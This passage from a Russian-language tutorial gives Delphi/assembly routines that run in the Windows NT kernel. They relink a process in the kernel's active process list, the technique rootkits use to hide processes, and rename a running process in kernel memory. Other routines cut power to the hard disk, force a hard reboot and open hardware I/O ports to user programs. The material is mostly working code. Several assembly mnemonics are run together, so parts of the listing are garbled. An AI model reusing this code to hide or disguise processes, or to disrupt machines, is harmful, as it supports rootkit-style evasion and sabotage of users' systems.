call AdrMmIsValid
test eax, eax
jz @Exit
pop eax
mov ebx, [eax] //UndocAdr
mov ecx, [eax + $04] //pEPROCESS
mov esi, [ebx + $04] //ActivePsListOffset
mov edx, [ebx] //BaseProcStrAdr
add edx, esi //@BaseProcStrAdr.Flink
add ecx, esi //@pEPROCESS.Flink
mov [ecx + $04], edx //pEPROCESS.Blink = @BaseProcStrAdr.Flink
mov eax, [edx] //@BaseProcStrAdr.Flink.Flink
mov [ecx], eax //pEPROCESS.Flink = @BaseProcStrAdr.Flink.Flink
mov [edx], ecx //BaseProcStrAdr.Flink = @pEPROCESS.Flink
ret
@Exit:
pop eax
ret
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
CallRing0(@Ring0Call, @Data);
end;
Возможность изменять имя процесса налету тоже может оказаться полезной. В Windows NT4 и более поздних версиях NT в структуре EPROCESS есть поле ImageFileName размером 16 байт. В нем храниться имя процесса возвращаемое при перечислении списка процессов. Начиная с Windows XP в структуре EPROCESS дополнительно появилось поле SE_AUDIT_PROCESS_CREATION_INFO которое содержит указатель на структуру UNICODE_STRING содержащую полный путь к исполняемому файлу(в NT формате) из которого был запущен процесс. Это нужно учесть при смене имени процесса в этих системах. Вот код осуществляющий смену имени процесса:
{
Смена имени процесса по указателю на его EPROCESS.
}
Procedure ChangeProcessNameEx(pEPROCESS: dword; NewName: PChar);
var
Data: packed record
{00} UndocAdr: pointer;
{04} pEPROCESS: dword;
{08} NewName: array [0..15] of Char;
{18} UnicName: array [0..15] of WideChar;
{38} UnicLength: word;
end;
Procedure Ring0Call;
asm
push eax
mov eax, [eax + $04]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
pop eax
mov ebx, [eax] //UndocAdr
mov edi, [eax + $04] //pEPROCESS
add edi, [ebx + $0C] //NameOffset
mov esi, eax
add esi, $08
mov ecx, $10
repnz movsb
mov esi, eax
add esi, $18
mov edx, [eax + $04] //pEPROCESS
mov ebp, [eax]
mov ebp, [ebp + $14]
add edx, ebp //@IamgeFileName
mov ebp, eax
mov edx, [edx]
test edx, edx
jz @Done
movzxecx, word ptr [edx] //UNICODE_STRING.Length
test ecx, ecx
jz @Done
movedi, dword ptr [edx + $04]
addedi, ecx
movedx, edi
std
mov eax, ’\’
shrecx, 1
repnescasw
orecx, ecx
jz@Done
addedi, $04
lea esi, [ebp + $18]
movzx ecx, word ptr [ebp + $38]
cld
rep movsw
mov edx, [ebp + $04] //pEPROCESS
mov ebp, [ebp]
mov ebp, [ebp + $14]
add edx, ebp //@IamgeFileName
mov edx, [edx]
mov word ptr [edx], cx
@Done:
ret
@Exit:
pop eax
ret
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
lstrcpyn(Data.NewName, NewName, 16);
StringToWideChar(NewName, @Data.UnicName, 16);
Data.UnicLength := lstrlen(NewName);
CallRing0(@Ring0Call, @Data);
end;
Что же еще можно сделать в нулевом кольце? Да практически что угодно! Все, на что хватит фантазии и знаний. Например, может кому-нибудь будет интересна быстрая перезагрузка компьютера (аналог Reset), или отключение питания HDD, это делается проще некуда:
{ Выключение первого винта. }
Procedure DisableHDD();
Procedure Ring0Call;
asm
mov al, $0E6
mov dx, $1F7
out dx, al
ret
end;
begin
CallRing0(@Ring0Call, nil);
end;
{ Перезагрузка. }
Procedure FastReboot();
Procedure Ring0Call;
asm
mov al, $FE
out $64, al
end;
begin
CallRing0(@Ring0Call, nil);
end;
Но для прямого доступа к железу не обязательно выходить в нулевое кольцо, можно просто открыть коду третьего кольца доступ к портам ввода-вывода. Для этого следует изменить IOPM в TSS так, чтобы разрешенным для третьего кольца портам соответствовал 0 бит, а запрещенным - 1, после чего нужно разрешить использование IOPM для конкретных процессов. Для получения и установки карты ввода-вывода (IOPM) в ядре есть недокументированные функции Ke386GetIoAccessMap и Ke386IoSetAccessMap соответственно, а для разрешения или запрета использования IOPM процессом - Ke386IoSetAccessProcess. А вот и код, который все это осуществляет:
{
Установка системной карты ввода - вывода
pMap - адрес буфера размером $2000 откуда будет взята карта.
}
Procedure SetIoAccessMap(pMap: pointer);
Procedure Ring0Call;
asm
push eax
push 1
call AdrSetIoAccess
ret
end;
begin
CallRing0(@Ring0Call, pMap);
end;
{
Получение системной карты ввода - вывода.
pMap - адрес буфера размером $2000 куда будет сохранена карта.
}
Procedure GetIoAccessMap(pMap: pointer);
Procedure Ring0Call;
asm
push eax
push 1
call AdrGetIoAccess
ret
end;
begin
CallRing0(@Ring0Call, pMap);
end;
{ Разрешение / запркщение использования карты ввода - вывода для процесса. }
Procedure SetIoAccessProcessEx(pEPROCESS: dword; Access: boolean);
var
Data : packed record
pEPROCESS: dword;
Access: dword;
end;
Procedure Ring0Call;
asm
mov ebx, [eax + $04]
push ebx
mov eax, [eax]
push eax
call AdrSetAccProc
ret
end;
begin
Data.pEPROCESS := pEPROCESS;
if Access then Data.Access := 1 else Data.Access := 0;
CallRing0(@Ring0Call, @Data);
end;
Для управления доступом к отдельным портам можно применить такой код:
{ Открытие / закрытие доступа к порту в/в для разрешенных процессов. }
Procedure OpenPort(Port: dword; CanOpen: boolean);
var
Iopm: array [0..$2000] of Byte;
pIopm: pointer;
bNum: dword;
bOffset: dword;
begin
pIopm := @Iopm;
GetIoAccessMap(pIopm);
bNum := Port div 8;
bOffset := Port mod 8;
if CanOpen then
asm
mov ecx, pIopm
add ecx, bNum
mov eax, [ecx]
mov edx, bOffset
btr eax, edx
mov [ecx], eax
end else
asm
mov ecx, pIopm
add ecx, bNum
mov eax, [ecx]
mov edx, bOffset
bts eax, edx
mov [ecx], eax
end;
SetIoAccessMap(pIopm);
end;
Этот метод можно использовать для того, чтобы заставить работать под NT старые досовские игрушки, которые используют прямой доступ к железу. Для этого достаточно установить карту ввода-вывода, а её использование для DOS процессов разрешено по умолчанию.
Комментарии |
отсутствуют |
Добавление комментария |